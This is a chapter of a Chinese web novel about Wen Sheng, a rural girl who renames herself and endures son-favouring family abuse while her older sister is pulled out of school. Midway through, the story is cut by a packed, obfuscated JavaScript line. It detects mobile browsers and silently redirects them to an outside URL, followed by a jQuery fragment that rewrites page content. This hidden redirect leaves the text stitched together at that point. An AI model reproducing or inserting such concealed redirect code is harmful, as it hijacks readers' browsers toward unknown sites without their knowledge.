温笙是家里的第二个孩子。
上面有一个姐姐，刚学会走路就被送去乡下外婆家“帮忙看鸡”，还有一个弟弟，他一出生就成了全家的宝。
她夹在中间，不讨喜也不被期盼，尤其在那个重男轻女还能堂而皇之写进族谱的年代，第二个女娃的到来，在大人嘴里，就是“赔钱货”上又添了一笔。
温笙出生那天，下着雨。
村里接生婆把她抱出来，说是个女娃，屋里没人说话，只有她爹温大志转身点了一根烟，叹了口气，说：“唉，又是个丫头。”
那声“又”砸得她娘叶彩凤脸色煞白，身下还在流血，嘴唇抖了抖，不敢吭声。
村里人都知道，温家一直想要个儿子，但温家媳妇生不出。
可头胎是女儿，二胎还是，村口的张婶就嘴碎地说：“这肚子八成是前世造孽。”
温笙出生的那一刻，没人看她一眼。
连她哭没哭，都是接生婆随口糊弄的：“哎哟，哭了，挺响。”
从那以后，她便有了个名字，不是爹取的，不是娘定的，是人们随口喊的：“二丫”。
“二丫，去倒水。”
“二丫，看好你弟。”
“二丫，别挡路。”
就这么叫了十年，谁也没觉得不妥。
直到有一天，她自己给自己取了个名字。
那年她上五年级，老师发了学籍登记表。村里小学破破烂烂的，一间教室，几十个孩子挤在一起，老师一个字一个字地念：“姓名、性别、出生年月......”
她不想写温二丫上去，这名字太难听了，她攥着那张登记表，笔尖一顿，犹豫了好久。
就取了个名字，叫温笙。
老师看到她的名字时，皱了下眉头，问：“你不是叫温二丫吗？”
温笙红了脸，仿佛像偷东西被人当众揭穿，脸红得厉害，嘴唇哆嗦了一下，小声说：“我、我娘取的。”
老师目光落在那两个字上，没说什么，只是点了点头，把表拿过去。
其实不是她娘取的，是她自己偷的。
就在上周五放学的傍晚，她从一个村的村口经过，经过村长家时，收音机正开着，沙沙的电流声里，忽然夹进一个低沉而清晰的少年声。
他说：“笙是一种乐器，声音清亮，如同凤凰在鸣叫。”
她停下脚步，屏住呼吸听着，“凤凰”这两个字，她听懂了。
“凤凰在鸣叫。”
她没见过凤凰，不知道凤凰是什么样，但她想，那一定不是二丫。
后来她学着查新华字典，才发现不是“生”，而是“笙”，她一笔一画在纸上写下“温笙”两个字，不断地抄写，被她娘发现了。
叶彩凤倒没说什么，反而把她拉到一边，摸了摸她头发，说：“你愿意叫，就叫吧。”
从那以后，她不再叫温二丫，而是叫温笙。
下课后，有讨人厌的男生开始笑：“哟，二丫还改名字了，温什么？”
“温生？你咋不叫温死？”
温笙没理，觉得就算解释了，这群没有文化的男生也不知道“笙”字怎么写，更不会知道这个名字对她来说多么重要。
她默默蹲在水龙头边洗手，手上还残着早上帮叶彩凤洗猪草时沾上的泥，水是凉的，自己的手一碰凉水容易起红点，可她不在意。
温笙脑子里还在琢磨，登记表上那个“温笙”会不会被老师改回“温二丫”，她又该怎么和老师解释？说那是自己取的？老师会不会笑？
她低头踢了踢地上的小石子，又想，如果老师真的划掉了，她还能不能再改一次。改个更难写的，让别人都不会念，最好老师也不知道这个字怎么写。
叶彩凤跟自己说可以带她去改名字，但万一是骗人的呢。
她又不是没被骗过。
小时候闹着想吃一块糖，叶彩凤哄着说：“帮我劈完这堆柴就给你买。”
她信了，柴劈完了，糖却没了下文。
还有一次自己发烧烧得厉害，叶彩凤说：“明儿个就带你去镇上医院。”第二天，烧退了点，叶彩凤又说：“都退烧了，去啥医院？”
温笙记得自己躺在床上，烧得头昏眼花，还能听见灶房里奶奶骂：“女娃娃就是娇气，睡一觉就好了，还医院呢，钱多得烧慌了？”
那时她年纪还小，不知道“娇气”是什么意思，只知道自己越咳，奶奶骂得越凶，后来她就不敢咳了，实在忍不住了，就偷偷跑到外面咳。
她不怪叶彩凤。
叶彩凤一个人种地、喂猪、养三个孩子，早起晚睡，一年衣服都不添一件，身上那件青布外套还是嫁进来时穿的。
但她也知道，娘嘴里的“改名字”，大概率和那块糖一样，是个哄小孩的把戏，是对她的敷衍。
所以她才不愿意再叫“二丫”。
“二丫”是那个可以随口哄、随手打、随意忽略的孩子。
“温笙”不一样，温笙是她自己选的，是她给自己起的名字，她心里暗暗地想：就算没人当回事，她也要把这个名字写一辈子，写到谁都认得这个“笙”字为止。
温笙放学回家的路上，走得比平时慢些。
她庆幸老师没有改回“温二丫”，也没当众喊她的原名，只是皱眉看了一眼，然后继续低头批下一张表。那一刻，她像是悄悄赢了一场很小、但对她自己很重要的仗。
路过田边时，天边的夕阳正把地平线染成一层厚重的金色，牛粪味和田的腥气混在一起，是她熟悉的傍晚味道。
温笙十二岁时，刚上初中不久。
她每天早上五点起床，摸黑走土路去镇上的中学，晚上回来，还要提着水桶喂猪、捡柴、写作业，以为日子已经够难了，每天还得应付大魔王弟弟温栋梁。
这小祖宗已经小学五年级了，脾气却比谁都大，作业不会做要她教，书包不会收要她整理，连铅笔丢了都要赖她。
“我二姐不帮我写作业！”温栋梁在屋里嗓门一拉，奶奶立马拄着拐杖冲进房间，“温笙，你又欺负你弟弟了？！”
“我没有......”话还没说完，一只鸡毛掸子已经抽到了桌角，书本翻飞。
“你没有你没有，女娃娃就是记仇，看不得弟弟过得好！”奶奶骂她，娘不吭声，爹更是不管事。
“我说我没有就是没有！”温笙猛地站起来，对他们大喊。
奶奶一愣，没想到她敢顶嘴，拐杖顿地一响：“你个小丫头片子，翅膀硬了？”
“你怎么跟你奶奶说话的！”温大志终于开了口，呵斥道：“没大没小的，家里现在是你当家了吗？”
温笙手紧紧攥成拳，指甲掐进掌心，让自己保持理智。
叶彩凤急忙拉着温大志，“哎呀，少说两句，二丫，赶紧跟你姐回屋。”
温春花拉着温笙回屋，拉到小凳子旁坐下，双手撑着下巴，闷闷地说：“娘又怀上了。”
她声音很小，像是和温笙说秘密，可那副神情一点也不兴奋，反而有点烦。
“真的？”
“真的，娘不显怀，听说已经五个月了。”
温春花又凑近了些，压低嗓音：“我听奶说了，要是再是个女娃，她要拿出去换鸡。”
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16198068|181209||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
“你别乱说。”
“娘今天能拦住发火的爹，全靠自己肚子里的娃，你这次免遭挨打多亏了这个娃。”
温笙听了温春花的话却开心不起来。
娘为什么又要生？
他们已经有了一个男孩，不是够了吗？
她和春花本来就分不到鸡蛋了，现在连稀饭都喝不上了吗。
温春花拍拍她的肩：“你快去洗洗，等会娘要你帮着晾衣服。”
温笙点点头，端起脸盆去了院子，水还没舀满，眼泪就先掉进盆里。
她偷偷擦掉，仰头看了眼天，眼泪被风一吹，反倒干得快。
“以后不能再哭了。”温笙在心里默默地跟自己说。
哭了也没人心疼，叶彩凤只会皱眉沉默，奶奶会骂她“女娃娃哭哭啼啼丢人现眼”，爹根本不会看她一眼。
温笙低头把手在水里搓了几下，粗糙的指节发红，一边搓一边想，她以后要是能像隔壁村那个考上大学的姐姐一样就好了。
听说那姑娘穿着蓝裙子，拿着录取通知书坐上了镇上的绿皮车，全村人都来送。
温笙想象了一下那种场景，再看了眼院子里那个歪歪扭扭的柴堆和发霉的墙根，嘴角却慢慢抿紧了。
她不想一辈子被锁在这个家，连鸡蛋都分不到，还要小心弟弟的每一个眼神，万一娘这次生的又是个弟弟，她和春花该怎么办。
几个月后，叶彩凤肚子里的孩子还是出生了。
是个男孩，听说生下来就响亮地哭了一嗓子，取名为温来福。
奶奶乐得合不拢嘴，边给墙上祖宗牌位磕头边念叨：“又是个带把的，我们温家有福了。”
爹更是开心地当天就杀了家里唯一一只老母鸡，煮了一锅鸡汤全给娘坐月子用，连汤渣都没剩下，温笙和温春花蹲在厨房门口闻着香味，谁都没说话。
大弟看着爹和奶奶都没有理他，急得哭起来。
温笙在门口看着那锅鸡汤，咽了咽口水，默默转身进了柴房，把衣服叠好，准备明早五点照常起床。
二弟百日时，正赶上学校发新课本，温笙那天拿着书跑回家，还没进门，就看到春花坐在门槛上，眼神空空地望着院子发呆。
“春花，我们发新书啦！”
“我不去了。”温春花低头，声音带着点哭腔。
“什么不去了？”
“我不去读书了。”
温笙怔住了，一松手，怀里的课本掉在了地上，“你不是说好要上高中的吗？
“读高中要钱，娘说，家里又添个男娃，她得干活，得留一个人帮着照顾弟弟。”
“但是我们家不是有钱吗？爹做木匠也赚了不少钱......”
“而且，为啥是你？”温笙喃喃。
“因为我是老大，又是长姐。”春花苦笑：“家里缺照顾弟弟的人。”
“娘还说了，女孩子迟早要嫁人，读那么多书干嘛？”
温笙想反驳，可嘴唇一张，却什么也说不出口，自己是老二，她不敢想，总有一天，也会轮到她，说不定再过几年，等娘再怀一个，哪怕是个跟她一样的丫头，她也得辍学。
温春花站起身，拍了拍裤腿上的灰，眼里已经没什么光，“反正我成绩不好，二丫你好好读书，我先去烧水，等会弟弟要洗澡。”
温笙张了张嘴，什么都没说出口。
她想去读书。
要读到自己的名字出现在录取通知书上，和隔壁村的姐姐一样优秀，坐上开往外面世界的绿皮车。
或许那样，就不会有人再叫她“二丫”了吧。